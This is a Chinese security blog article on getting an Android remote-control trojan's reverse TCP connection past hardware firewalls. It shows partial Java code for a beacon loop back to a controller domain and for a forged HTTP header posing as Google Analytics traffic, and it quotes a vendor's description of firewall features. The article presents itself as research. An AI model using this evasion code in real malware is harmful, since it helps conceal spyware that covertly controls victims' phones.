对手机远程控制软件穿透硬件防火墙的分析和研究

  首先来说说本人对防火墙的一些认识,防火墙就是拦截和过滤外部网络“不安全的网络”对内部网络“可信网络” 数据包传输的一个工具。反过来也是可以的(内部网络到外部网络),可以是软件防火墙,也可以硬件防火墙。它的原理就是对 TCP/IP 协议族中的网络层和传输层以及应用层中的数据包进行分析和过滤。

  关于防火墙更加详细的说明可以参考百度百科http://baike.baidu.com/subview/3067/9048966.htm

  本文研究的内容可能包含攻击性,仅供安全研究和教学用途,禁止非法利用

  手机远程控制软件穿墙研究

  下面进入正题,今天讨论的手机远程控制(以下简称远控)主要指的是Android类手机远控,采用TCP 反弹连接的方式上线。反弹连接上线这种方式对于研究安全技术的人来说再熟悉不过了,比如说几年前的灰鸽子远控, 上兴远控, PCShare, PosionIvy  等等。

  这种上线方式就是大家常说的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式数据包传输走的是HTTP或者HTTPS协议。

  穿透硬件防火墙的方法有很多种, 比如说走ICMP 协议的后门,可以穿透一部分防火墙(取决于防火墙的过滤规则),还有走HTTP/HTTPs协议的B/S类远控后门,这类远控上线很隐蔽,不易被察觉。但是它们都有一个特点,就是数据传输协议单一,一旦被发现,就很难逃脱,因为发送的http 请求头都是固定的,比如大家常用的扫描web服务器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它们的http 请求头都很特殊。B/S类远控后门也一样。

  我这里的思路是什么呢? 数据包传输还得用tcp反弹连接 ,但是数据包是伪造的。比如伪造成http 协议,或者任意一种应用层协议,如SMTP协议,DNS协议等等。

  下面我给出一部分关键源代码:

  /**

  * 建立socket 反弹连接.

  *@return

  */

  new Thread()

  {

  public void run() {

  while(true)

  {

  try

  {

  Thread.sleep(2000);

  try

  {

  //从String.xml获取上线域名和端口。

  socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));

  booleanisConnected = socket.isConnected()&&!socket.isClosed();

  if(isConnected)

  {

  Log.d(TAG,socket.toString());

  socket.setKeepAlive(true);  //表示对于长时间处于空闲状态的Socket,是否要自动把它关闭

  //socket.setTcpNoDelay(true);//TcpNoDelay=false,为启用nagle算法

  BackConnTask(socket);

  }

  } catch(IOException e) {

  Log.e(TAG,e.toString());

  } finally{

  if(socket!=null)socket.close();

  }

  } catch (Exceptione) {

  Log.e(TAG,e.toString());

  }

  }

  };

  }.start();

  /**

  * 初始化http请求数据.

  *@return

  */

  public String InitHttpGet()

  {

  StringBuilder request = newStringBuilder();

  String v1="Host:www.google-analytics.com
";

  String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
";

  String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5
";

  String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
";

  String v5="Accept-Encoding:gzip, deflate
";

  String v6="Connection:keep-alive

";

  request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);

  //request.length()=266

  return request.toString();

  }

  上面的源代码只是一小部分,源代码的流程是这样的,如下图:

  这里只是一个初步的模型,数据包的前面一部分还是固定的。

  在wireshark 里看到 ,数据包由tcp 变成了 http 协议。数据内容也变成了http 的请求头数据包。

  上图是获取WIFI 扫描信息,还有其他功能就不一一演示了。

  了解主流硬件防火墙

  下面我们再来看下主流的硬件防火墙都有哪些功能

  (注明:下面文字是从天融信官方网站上找到的)

  NGFW4000系列专用平台产品采用最新的CCI技术,提供对OSI网络模型所有层次上的网络威胁的实时保护。网络卫士系列防火墙可对还原出来的应用层对象(如文件、网页、邮件等)进行病毒查杀,并可检查是否存在不良WEB内容、垃圾邮件、间谍软件和网络钓鱼欺骗等其他威胁,实现彻底防范。

  状态检测只检查数据包的包头。

  深度包检测可对数据包内容进行检查。

  CCI可实时将网络层数据还原为完整的应用层对象(如文件、网页、邮件等),并对这些完整内容进行全面检查,实现彻底的内容防护。

  支持入侵防御功能:

  支持应用层防御,入侵防御攻击特征库数量≥3500种,攻击检测率≥90%;支持对多种常用协议的协议识别和异常检测,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻击特征库的分类显示;支持用户自定义规则;支持入侵攻击特征库自动升级,手动升级,离线升级,版本回退;响应方式支持阻断、丢包、日志记录等。

  从上面的描述可以分析得出, 硬件防火墙的功能还是很全面的。要想突破防火墙的过滤规则,就需要在发送数据包的时候绕过这些规则。

  我上面的源代码实现的功能并不完善,以后的想法是实现受控端本地抓包,受控端用什么网络协议,远控就自动伪造成什么协议。达到的效果就是受控端能上网,远控也能上网。

  题外话

  我看过很多有关黑客类电影,比如:《虎胆龙威4》,《007》,《谍影重重》,《夺命手机》等等。你们想想看,美国国家安全局、中情局、英国军情6处,它们用的什么硬件防火墙。是吧,肯定很牛X ,要想突破,谈何容易。

上一篇:智能无惧挑战 山石网科轰动RSA2015

下一篇:APT28:专攻军事机构和情报部门的俄罗斯黑客组织